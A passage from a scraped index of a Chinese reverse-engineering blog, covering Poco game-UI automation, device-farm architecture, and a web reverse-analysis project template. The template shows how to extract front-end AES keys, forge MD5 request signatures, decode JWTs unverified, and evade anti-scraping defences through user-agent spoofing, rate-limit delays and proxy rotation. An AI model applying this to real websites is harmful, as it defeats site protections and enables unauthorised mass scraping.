SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#与其他自动化框架对比"},{"categories":null,"collections":null,"content":"2. 群控系统 (Device Farming) 群控系统是一个将大量物理设备或虚拟设备（模拟器）汇集成一个统一的、可编程的资源池，并对其进行集中化管理、调度和监控的平台。 ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:2:0","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#2-群控系统-device-farming"},{"categories":null,"collections":null,"content":"a) 核心架构 一个工业级的群控系统通常是微服务架构，包含以下核心组件： API 网关 (API Gateway): 作为所有服务的统一入口，负责请求路由、身份认证和速率限制。 设备管理服务 (Device Management Service): 维护一个包含所有设备（真机/模拟器）信息的数据库。 通过心跳机制实时监控每个设备的状态（空闲、占用、离线、健康状况）。 处理设备的接入和注销。 任务调度服务 (Task Scheduling Service): 接收用户提交的任务（例如，“在 Android 12 上对 App X 执行 Y 测试”）。 根据任务要求（设备类型、系统版本等）和预设的调度策略（如优先级、FIFO）从设备管理服务中查询并锁定一个合适的设备。 执行代理 (Agent): 在每个物理设备或模拟器上运行的一个轻量级代理程序。 负责接收并执行来自调度中心的具体指令，如：安装/卸载 APK、启动/停止 Appium、执行 shell 命令、上传/下载文件等。 结果收集与报告服务: 接收来自 Agent 的实时日志、截图、录屏和测试结果。 将结果存入数据库，并在任务结束后生成最终的测试报告。 Web 管理前端: 提供一个可视化的界面，让用户可以实时查看设备列表、远程控制设备（如 STF）、提交任务、查看任务队列和历史报告。 ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:2:1","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#a-核心架构"},{"categories":null,"collections":null,"content":"b) 开源方案与自研 STF (Smartphone Test Farm): 提供了优秀的设备管理和远程控制功能，是许多自研群控系统的基础。但它本身不包含任务调度和报告等功能。 自研: 许多大型公司会基于 STF、Appium、Docker、Kubernetes 等开源技术栈，结合自身的业务需求，搭建自研的群控平台，以实现更灵活的调度逻辑和更深入的业务集成。 ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:2:2","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#b-开源方案与自研"},{"categories":null,"collections":null,"content":"总结 自动化与群控系统是移动端工程化能力的集中体现。它将底层的设备资源、中层的执行脚本和上层的业务需求有机地结合在一起，形成了一个强大的、可扩展的自动化解决方案，是现代 App 开发、测试和安全分析不可或缺的一环。 ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:3:0","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#总结"},{"categories":null,"collections":null,"content":"逆向分析项目模板 Web 逆向分析的标准项目模板，帮助你系统化地进行网站分析和文档记录。 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:0:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#逆向分析项目模板"},{"categories":null,"collections":null,"content":"项目结构 reverse_project/ ├── docs/ │ ├── analysis.md # 分析文档 │ ├── api_reference.md # API 接口文档 │ ├── crypto_analysis.md # 加密分析 │ └── findings.md # 发现和总结 ├── scripts/ │ ├── __init__.py │ ├── decrypt.py # 解密脚本 │ ├── sign.py # 签名生成 │ └── reproduce.py # 完整复现 ├── hooks/ │ ├── network_monitor.js # 网络监控 │ ├── crypto_hook.js # 加密函数Hook │ └── debugger_bypass.js # 反调试绕过 ├── test_cases/ │ ├── test_decrypt.py # 解密测试 │ ├── test_sign.py # 签名测试 │ └── test_api.py # API 测试 ├── data/ │ ├── samples/ # 样本数据 │ └── results/ # 分析结果 ├── assets/ │ ├── screenshots/ # 截图 │ └── diagrams/ # 流程图 ├── requirements.txt ├── README.md └── .env.example ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:1:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#项目结构"},{"categories":null,"collections":null,"content":"文件模板 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:2:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#文件模板"},{"categories":null,"collections":null,"content":"1. docs/analysis.md # [网站名称] 逆向分析 ## 基本信息 | 项目 | 说明 | | ------------ | ----------------------------------- | | **目标网站** | https://example.com | | **分析日期** | 2024-01-15 | | **难度等级** | ⭐⭐⭐ | | **主要技术** | JavaScript 混淆、AES 加密、签名验证 | --- ## 目标 - ☐ 分析登录接口加密逻辑 - ☐ 破解 API 签名算法 - ☐ 实现完整的 Python 复现 - ☐ 编写自动化爬虫 --- ## 技术栈分析 ### 前端技术 - **框架**: Vue.js 3.x - **打包工具**: Webpack 5 - **混淆**: JavaScript Obfuscator ### 后端技术 - **服务器**: Nginx + Node.js - **API 格式**: RESTful JSON - **认证方式**: JWT Token --- ## 分析流程 ### 1. 初步侦察 **工具**: Chrome DevTools 1. 打开网站，检查网络请求 2. 识别关键 API 接口 3. 观察请求参数和响应格式 **发现**: - 登录接口: `/api/auth/login` - 主要参数: `username`, `password`, `timestamp`, `sign` ### 2. JavaScript 分析 **入口文件**: `app.js` 关键代码位置: ```javascript // 位置: app.js:1234 function encryptPassword(password) { // AES 加密实现 } // 位置: app.js:5678 function generateSign(params) { // 签名生成逻辑 } ``` ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:2:1","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#1-docsanalysismd"},{"categories":null,"collections":null,"content":"3. 加密算法识别 详见 crypto_analysis.md ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:2:2","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#3-加密算法识别"},{"categories":null,"collections":null,"content":"4. 复现实现 详见 自动化脚本 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:2:3","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#4-复现实现"},{"categories":null,"collections":null,"content":"时间线 日期 进展 2024-01-15 完成初步侦察 2024-01-16 识别加密算法为 AES-128-CBC 2024-01-17 破解签名算法 2024-01-18 Python 复现成功 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:3:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#时间线"},{"categories":null,"collections":null,"content":"参考资源 官方文档 相关讨论 ### 2. docs/crypto_analysis.md ```markdown # 加密分析文档 ## 密码加密 ### 算法识别 **特征**: - 输出长度: 32 字符（Base64 编码） - 固定 IV: `1234567890abcdef` **结论**: AES-128-CBC ### 关键代码 ```javascript // 原始代码 (app.js:1234) function encryptPassword(password) { const key = CryptoJS.enc.Utf8.parse('secretkey1234567'); const iv = CryptoJS.enc.Utf8.parse('1234567890abcdef'); const encrypted = CryptoJS.AES.encrypt(password, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); return encrypted.toString(); } ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:4:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#参考资源"},{"categories":null,"collections":null,"content":"Python 实现 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 def encrypt_password(password): key = b'secretkey1234567' iv = b'1234567890abcdef' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(password.encode(), 16)) return base64.b64encode(encrypted).decode() # 测试 print(encrypt_password('mypassword')) ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:4:1","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#python-实现"},{"categories":null,"collections":null,"content":"签名算法 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:5:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#签名算法"},{"categories":null,"collections":null,"content":"算法识别 特征: 输出长度: 32 字符 十六进制格式 结论: MD5 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:5:1","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#算法识别"},{"categories":null,"collections":null,"content":"签名规则 sign = MD5(param1 + param2 + timestamp + secret_key) 参数顺序: 按字典序排列 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:5:2","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#签名规则"},{"categories":null,"collections":null,"content":"完整实现 import hashlib import time def generate_sign(params): # 添加时间戳 params['timestamp'] = int(time.time() * 1000) # 按字典序排序 sorted_params = sorted(params.items()) # 拼接字符串 sign_str = ''.join([f'{k}{v}' for k, v in sorted_params]) # 添加密钥 sign_str += 'secret_key_here' # MD5 哈希 return hashlib.md5(sign_str.encode()).hexdigest() # 测试 params = { 'username': 'admin', 'password': 'encrypted_password_here' } print(generate_sign(params)) ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:5:3","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#完整实现"},{"categories":null,"collections":null,"content":"Token 机制 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:6:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#token-机制"},{"categories":null,"collections":null,"content":"JWT 结构 Header.Payload.Signature 示例: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NX0.xyz... ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:6:1","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#jwt-结构"},{"categories":null,"collections":null,"content":"解码 import jwt token = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\" decoded = jwt.decode(token, verify=False) print(decoded) # {'user_id': 12345, 'exp': 1705305600} ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:6:2","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#解码"},{"categories":null,"collections":null,"content":"反爬措施 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:7:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#反爬措施"},{"categories":null,"collections":null,"content":"1. User-Agent 检测 措施: 必须包含真实浏览器 UA 绕过: 使用真实 Chrome UA ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:7:1","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#1-user-agent-检测"},{"categories":null,"collections":null,"content":"2. 频率限制 措施: 每分钟最多 60 请求 绕过: 添加随机延迟 (1-3 秒) ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:7:2","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#2-频率限制"},{"categories":null,"collections":null,"content":"3. IP 封禁 措施: 同一 IP 过多请求会被封 绕过: 使用代理池轮换 ### 3. scripts/reproduce.py ```python \"\"\" 完整复现脚本 \"\"\" import requests import hashlib import time from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import json class TargetAPI: \"\"\"目标网站 API 封装\"\"\" def __init__(self): self.base_url = \"https://example.com\" self.session = requests.Session() self.token = None # 设置请求头 self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json', 'Accept': 'application/json', }) def encrypt_password(self, password: str) -\u003e str: \"\"\" AES 加密密码 Args: password: 明文密码 Returns: 加密后的 Base64 字符串 \"\"\" key = b'secretkey1234567' iv = b'1234567890abcdef' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(password.encode(), 16)) return base64.b64encode(encrypted).decode() def generate_sign(self, params: dict) -\u003e dict: \"\"\" 生成签名 Args: params: 请求参数 Returns: 添加了 timestamp 和 sign 的参数字典 \"\"\" # 添加时间戳 params['timestamp'] = int(time.time() * 1000) # 按字典序排序 sorted_params = sorted(params.items()) # 拼接字符串 sign_str = ''.join([f'{k}{v}' for k, v in sorted_params]) # 添加密钥 sign_str += 'secret_key_here' # MD5 哈希 params['sign'] = hashlib.md5(sign_str.encode()).hexdigest() return params def login(self, username: str, password: str) -\u003e bool: \"\"\" 登录 Args: username: 用户名 password: 密码 Returns: 是否登录成功 \"\"\" # 加密密码 encrypted_password = self.encrypt_password(password) # 准备参数 params = { 'username': username, 'password': encrypted_password } # 生成签名 params = self.generate_sign(params) # 发送请求 url = f\"{self.base_url}/api/auth/login\" response = self.session.post(url, json=params) if response.status_code == 200: data = response.json() if data.get('code') == 0: self.token = data['data']['token'] self.session.headers['Authorization'] = f'Bearer {self.token}' print(f\"✅ 登录成功! Token: {self.token[:20]}...\") return True print(f\"❌ 登录失败: {response.text}\") return False def get_user_info(self) -\u003e dict: \"\"\" 获取用户信息 Returns: 用户信息字典 \"\"\" if not self.token: raise Exception(\"未登录，请先调用 login()\") url = f\"{self.base_url}/api/user/info\" response = self.session.get(url) if response.status_code == 200: return response.json() return None def get_data(self, page: int = 1, size: int = 20) -\u003e list: \"\"\" 获取数据列表 Args: page: 页码 size: 每页数量 Returns: 数据列表 \"\"\" if not self.token: raise Exception(\"未登录，请先调用 login()\") params = { 'page': page, 'size': size } # 生成签名 params = self.generate_sign(params) url = f\"{self.base_url}/api/data/list\" response = self.session.get(url, params=params) if response.status_code == 200: data = response.json() return data.get('data', {}).get('items', []) return [] def main(): \"\"\"主函数\"\"\" print(\"=\" * 50) print(\"目标网站 API 复现测试\") print(\"=\" * 50) # 创建 API 实例 api = TargetAPI() # 登录 if api.login('your_username', 'your_password'): # 获取用户信息 user_info = api.get_user_info() print(f\"\\n用户信息: {json.dumps(user_info, indent=2, ensure_ascii=False)}\") # 获取数据 data = api.get_data(page=1, size=10) print(f\"\\n获取到 {len(data)} 条数据\") # 保存数据 with open('data/results/output.json', 'w', encoding='utf-8') as f: json.dump(data, f, ensure_ascii=False, indent=2) print(\"\\n✅ 数据已保存到 data/results/output.json\") if __name__ == '__main__': main() ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:7:3","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#3-ip-封禁"},{"categories":null,"collections":null,"content":"4. test_cases/test_decrypt.py \"\"\" 解密功能测试 \"\"\" import unittest from scripts.reproduce import TargetAPI class TestDecrypt(unittest.TestCase): \"\"\"解密测试用例\"\"\" def setUp(self): \"\"\"初始化\"\"\" self.api = TargetAPI() def test_encrypt_password(self): \"\"\"测试密码加密\"\"\" password = \"test123\" encrypted = self.api.encrypt_password(password) # 验证输出格式 self.assertIsInstance(encrypted, str) self.assertGreater(len(encrypted), 0) # 验证 Base64 格式 import base64 try: base64.b64decode(encrypted) is_base64 = True except: is_base64 = False self.assertTrue(is_base64) print(f\"✅ 加密测试通过: {password} -\u003e {encrypted}\") def test_sign_generation(self): \"\"\"测试签名生成\"\"\" params = { 'username': 'test', 'password': 'encrypted_pass' } signed_params = self.api.generate_sign(params.copy()) # 验证签名字段存在 self.assertIn('sign', signed_params) self.assertIn('timestamp', signed_params) # 验证签名格式 (32位 MD5) self.assertEqual(len(signed_params['sign']), 32) self.assertTrue(signed_params['sign'].isalnum()) print(f\"✅ 签名测试通过: {signed_params['sign']}\") def test_sign_consistency(self): \"\"\"测试签名一致性\"\"\" params = { 'username': 'test', 'password': 'encrypted_pass', 'timestamp': 1234567890000 } # 同样的参数应该生成同样的签名 sign1 = self.api.generate_sign(params.copy())['sign'] sign2 = self.api.generate_sign(params.copy())['sign'] self.assertEqual(sign1, sign2) print(f\"✅ 签名一致性测试通过\") if __name__ == '__main__': unittest.main() ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:7:4","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#4-test_casestest_decryptpy"},{"categories":null,"collections":null,"content":"5. README.md # [网站名称] 逆向分析项目 本项目是对 [目标网站] 的完整逆向分析和 Python 复现实现。 --- ## 项目概述 **目标**: 分析并复现目标网站的登录、数据获取等核心功能 **主要成果**: - ✅ 破解 AES-128-CBC 密码加密 - ✅ 逆向 MD5 签名算法 - ✅ 实现完整的 Python API 封装 - ✅ 编写详细的分析文档 --- ## 快速开始 ### 1. 安装依赖 ```bash pip install -r requirements.txt ``` ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:7:5","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#5-readmemd"},{"categories":null,"collections":null,"content":"2. 配置参数 cp .env.example .env # 编辑 .env 文件，填入账号密码 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:7:6","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#2-配置参数"},{"categories":null,"collections":null,"content":"3. 运行复现脚本 python scripts/reproduce.py ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:7:7","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#3-运行复现脚本"},{"categories":null,"collections":null,"content":"项目结构 . ├── docs/ # 分析文档 ├── scripts/ # 复现脚本 ├── hooks/ # Hook 脚本 ├── test_cases/ # 测试用例 ├── data/ # 数据目录 └── assets/ # 资源文件 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:8:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#项目结构-1"},{"categories":null,"collections":null,"content":"分析文档 详细的分析过程见: 完整分析文档 加密算法分析 API 接口文档 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:9:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#分析文档"},{"categories":null,"collections":null,"content":"主要技术 加密: AES-128-CBC 签名: MD5 哈希 认证: JWT Token 反混淆: AST 解析 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:10:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#主要技术"},{"categories":null,"collections":null,"content":"使用示例 from scripts.reproduce import TargetAPI # 创建 API 实例 api = TargetAPI() # 登录 api.login('username', 'password') # 获取数据 data = api.get_data(page=1, size=20) print(f\"获取到 {len(data)} 条数据\") ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:11:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#使用示例"},{"categories":null,"collections":null,"content":"运行测试 python -m pytest test_cases/ ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:12:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#运行测试"},{"categories":null,"collections":null,"content":"注意事项 本项目仅供学习研究使用 请遵守目标网站的使用条款 不要用于非法用途 建议添加请求延迟，避免对服务器造成压力 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:13:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#注意事项"},{"categories":null,"collections":null,"content":"License MIT ### 6. requirements.txt ```txt requests\u003e=2.31.0 pycryptodome\u003e=3.19.0 pyjwt\u003e=2.8.0 beautifulsoup4\u003e=4.12.0 pytest\u003e=7.4.0 python-dotenv\u003e=1.0.0 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:14:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#license"},{"categories":null,"collections":null,"content":"7. .env.example # 目标网站账号 USERNAME=your_username PASSWORD=your_password # 请求配置 REQUEST_TIMEOUT=30 MAX_RETRIES=3 # 代理配置 (可选) USE_PROXY=false PROXY_URL=http://127.0.0.1:7890 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:14:1","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#7-envexample"},{"categories":null,"collections":null,"content":"使用此模板 # 1. 复制模板 cp -r templates/reverse_project my_analysis cd my_analysis # 2. 初始化文档 vim docs/analysis.md # 开始记录分析过程 # 3. 编写复现脚本 vim scripts/reproduce.py # 4. 运行测试 python -m pytest test_cases/ ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:15:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#使用此模板"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:16:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#最佳实践"},{"categories":null,"collections":null,"content":"分析流程建议 初步侦察 (1-2 小时) 使用 DevTools 观察网络请求 识别关键 API 接口 记录请求参数格式 JavaScript 分析 (2-4 小时) 定位加密相关代码 使用断点调试 记录关键函数位置 算法识别 (1-2 小时) 根据特征识别加密算法 测试验证猜测 提取密钥和参数 Python 复现 (2-3 小时) 实现加密函数 实现签名函数 封装完整 API 测试验证 (1 小时) 编写单元测试 对比输出结果 修复问题 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:16:1","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#分析流程建议"},{"categories":null,"collections":null,"content":"文档撰写建议 及时记录: 每个发现都要立即记录 代码注释: 标注原始代码位置 (文件名:行号) 截图保存: 重要步骤保存截图到 assets/ 时间线: 记录分析进度时间线 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:16:2","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#文档撰写建议"},{"categories":null,"collections":null,"content":"相关资源 基础爬虫项目 JavaScript 反混淆 加密识别 ","date":"2025-01-31","objectID":"/reverse_engineering/web/09-templates/reverse_project/:17:0","tags":["Web","项目","签名验证","代理池","加密分析","Hook"],"title":"逆向分析项目模板","uri":"/reverse_engineering/web/09-templates/reverse_project/#相关资源"},{"categories":null,"collections":null,"content":"CI/CD 流水线模板 自动化构建、测试和部署配置，支持 GitHub Actions、GitLab CI 和 Jenkins。 ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:0:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#cicd-流水线模板"},{"categories":null,"collections":null,"content":"项目结构 . ├── .github/ │ └── workflows/ │ ├── ci.yml # 持续集成 │ ├── cd.yml # 持续部署 │ └── docker-publish.yml # Docker 镜像发布 ├── .gitlab-ci.yml # GitLab CI ├── Jenkinsfile # Jenkins Pipeline ├── scripts/ │ ├── run_tests.sh │ ├── build.sh │ └── deploy.sh └── tests/ ├── unit/ ├── integration/ └── e2e/ ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:1:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#项目结构"},{"categories":null,"collections":null,"content":"GitHub Actions ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:2:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#github-actions"},{"categories":null,"collections":null,"content":"1. .github/workflows/ci.yml (持续集成) name: CI on: push: branches: [main, develop] pull_request: branches: [main, develop] env: PYTHON_VERSION: \"3.11\" jobs: # 代码质量检查 lint: name: Code Quality runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 - 